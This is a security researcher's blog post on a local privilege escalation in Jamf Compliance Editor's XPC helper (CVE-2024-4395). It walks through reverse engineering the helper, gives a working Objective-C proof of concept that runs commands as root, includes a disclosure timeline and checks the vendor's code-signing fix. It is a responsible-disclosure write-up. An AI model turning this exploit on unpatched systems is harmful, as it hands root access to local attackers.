Hm seems I might be writing more security blog posts than I expected 🤔. Well anyways, I’m here with another exploit! This time with Jamf Compliance Editor, and local privilege escalation through an unguarded XPC service 🎉

And while this blog post is a demonstration of privilege escalation, Jamf Compliance Editor is genuinely a great free tool! Highly recommend it for anyone looking to create compliance baselines for macOS.

Discovering the vulnerability

So I have this very, very bad habit. Every application I download, I reverse engineer it to get an idea of how it works… This becomes a problem when I have actual work to do, like researching NIST compliance at work.

Well, that’s how I found Jamf Compliance Editor, an amazing GUI application that handles the creation of baselines and even performs audits of your machine.

When I downloaded it, I checked to see what files were bundled inside. Here I noticed a Launch Daemon, which intrigued me:

Following the Launch Daemon’s BundleProgram property, we see it points to Contents/Resources/com.jamf.complianceeditor.helper. When I opened this XPC executable up in Hopper Disassembler, my first thought was “I wonder how Jamf performs client validation, maybe they have a neat method”:

Wait a minute, there’s a problem here… Where’s the client validation?

Fun Fact: You need to actually use the apps you’re reversing sometimes

Once I found that the XPC service lacked any client validation, I started to believe it was an unused binary. “No way, Jamf wouldn’t forget to do validation”. However as I was reversing the core binary more, Contents/MacOS/Jamf Compliance Editor, I found that under sub_100012060 the application does implement a code path to install the helper service:

However, when I first opened Jamf Compliance Editor, no launch services were installed… How do I get this code path to kick in then?

Well after more time than I’d like to admit, I figured out the launch service is only installed if you perform an audit on the host. Otherwise, Jamf will just create all the baselines as the current user.

Steps to load the daemon:

  1. Run Jamf Compliance Editor
  2. Create a new project
  3. Create Guidance
  4. Perform audit

Step 4 is greyed out until a Guidance is created first:

And now the daemon is trying to be loaded!

Creating a Proof of Concept

Now that I confirmed the XPC service is being used, the next issue is actually proving it’s exploitable. Within the XPC’s helper class, I found this fun function:

-[com_jamf_complianceeditor_helper.Helper executeScriptAt:arguments:then:]

An easy demonstration of local privilege escalation!

Now throw this into a quick Obj-C script (shout out to Csaba Fitzl’s CVE-2021-26718 for the basis!) and we’re off to the races:

  • jce_exploit.m
    • Note the rendered version below is simplified, the actual file contains the optional ability to pass custom commands to run as root.

Jamf Compliance Editor Helper Service - Local Privilege Escalation


Discovered by Mykola Grymalyuk of RIPEDA Consulting


Compile Steps:

   clang -framework Foundation -o jce_exploit jce_exploit.m


Exploit based on Csaba Fitzl's CVE-2021-26718:

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.jamf.complianceeditor.helper";

@protocol HelperExecutionService <NSObject>
- (void)executeScriptAt:(NSString *)scriptPath arguments:(NSArray<NSString *> *)arguments then:(void (^)(NSString *result, NSError *error))completionHandler;

int main(int argc, const char * argv[]) {
    @autoreleasepool {

        __block int returnCode = 0;
        NSString* serviceName = kXPCHelperMachServiceName;
        NSLog(@"Exploiting service: %@", serviceName);

        NSXPCConnection* serviceConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:NSXPCConnectionPrivileged];

        [serviceConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(HelperExecutionService)]];
        [serviceConnection resume];

        id service = [serviceConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            NSLog(@"Error connecting: %@", error);
            returnCode = 1;

        NSString *command = @"/usr/bin/whoami";
        NSArray *arguments = @[];

        NSLog(@"Executing '%@'", command);

        [service executeScriptAt:command arguments:arguments then:^(NSString *result, NSError *error) {
            if (error) {
                NSLog(@"Error: %@", error);
                returnCode = 1;
            } else {
                NSLog(@"Result: %@", result);
            [serviceConnection invalidate];

        [[NSRunLoop currentRunLoop] run];

And with that, the exploit works!

Reporting Process

Following the Jamf Vulnerability Disclosure Program, we advised Jamf to add setCodeSigningRequirement during the client connection process. Do note that setCodeSigningRequirement requires macOS 13.0, Ventura, or newer to use, which Jamf Compliance Editor already requires as a minimum. If your XPC service requires older OS support, use SecCodeCheckValidity.

  • Also notice the triage time? 3 minutes!!!
Sender Topic Date
RIPEDA Initial Report - 90+30 Day Disclosure 1:45pm - February 21st, 2024
Jamf Triaged, severity P2 1:48pm - February 21st, 2024
Jamf Author of program notified, confirmed patch within 90 days 2:07pm - February 21st, 2024
Jamf Patch created, ready to test February 23rd, 2024
RIPEDA Verified patch works, request for PKG distribution February 23rd, 2024
Jamf Confirmed PKG in process of being signed and notarized February 29th, 2024
Jamf Final PKG created, ready to test March 14th, 2024
RIPEDA Confirmed PKG resolves issue March 15th, 2024
Jamf JCE 1.3.1 releases March 19th, 2024
Jamf Notified us of 1.3.1 March 20th, 2024
Jamf Slack message crediting us March 22nd, 2024
RIPEDA Reminded 30 day disclosure approaching, providing blog draft April 15th, 2024
Jamf Awarded $500 USD April 15th, 2024
RIPEDA Inquiring on CVE ID status April 30th, 2024
Jamf Waiting on CVE process April 30th, 2024
Jamf CVE-2024-4395 assigned May 1st, 2024

A vendor that listens?!?

When we got the initial Jamf Compliance Editor fix, we raised a vulnerability concern related to the upgrade flow. Specifically if a user downloads 1.3.1 and replaces the app in /Applications, the vulnerable XPC service would still be active until it’s either either manually reloaded or the system reboots.

We proposed a solution through PKG distribution, and employing pkgutil’s relocation support.

The surprising part? They listened!

Verifying Jamf’s work

Now when we load up v1.3.1’s XPC service, we see shouldAcceptNewConnection has a new function call:

Following it, we see Jamf has implemented the setCodeSigningRequirement API which will verify the client against the following code signature:

anchor apple generic and identifier \"com.jamf.complianceeditor\" and (certificate leaf[field.1.2.840.113635.] /* exists */ or certificate 1[field.1.2.840.113635.] /* exists */ and certificate leaf[field.1.2.840.113635.] /* exists  */ and certificate leaf[subject.OU] = \"483DWKW443\")
  • Breakdown:
    • anchor apple generic: Signed by Apple issued signing certificate
    • com.jamf.complianceeditor: Client Application Bundle Identifier
    • certificate leaf[field.1.2.840.113635.]: Mac App Store
    • certificate 1[field.1.2.840.113635.]: Developer ID Certificate
    • certificate leaf[field.1.2.840.113635.]: Developer ID Leaf
    • certificate leaf[subject.OU] = \"483DWKW443\": Jamf Team ID
  • References:

And when we compare this to the main app’s code requirements, they match!

/usr/bin/codesign --display --requirements - "/Applications/Jamf Compliance"

Now when we run our exploit, it fails as we’d expect 🎉


I have to say, this disclosure process was one of the best I’ve dealt with to date. My only real “critiques” were lack of compensation originally (which they later gave!) and proper credit initially (which after a request, we got a shout-out on the MacAdmin’s Slack with plans to credit us in the changelog on CVE publication!).

Happy to say we now have more secure MacAdmin software than before! 🎉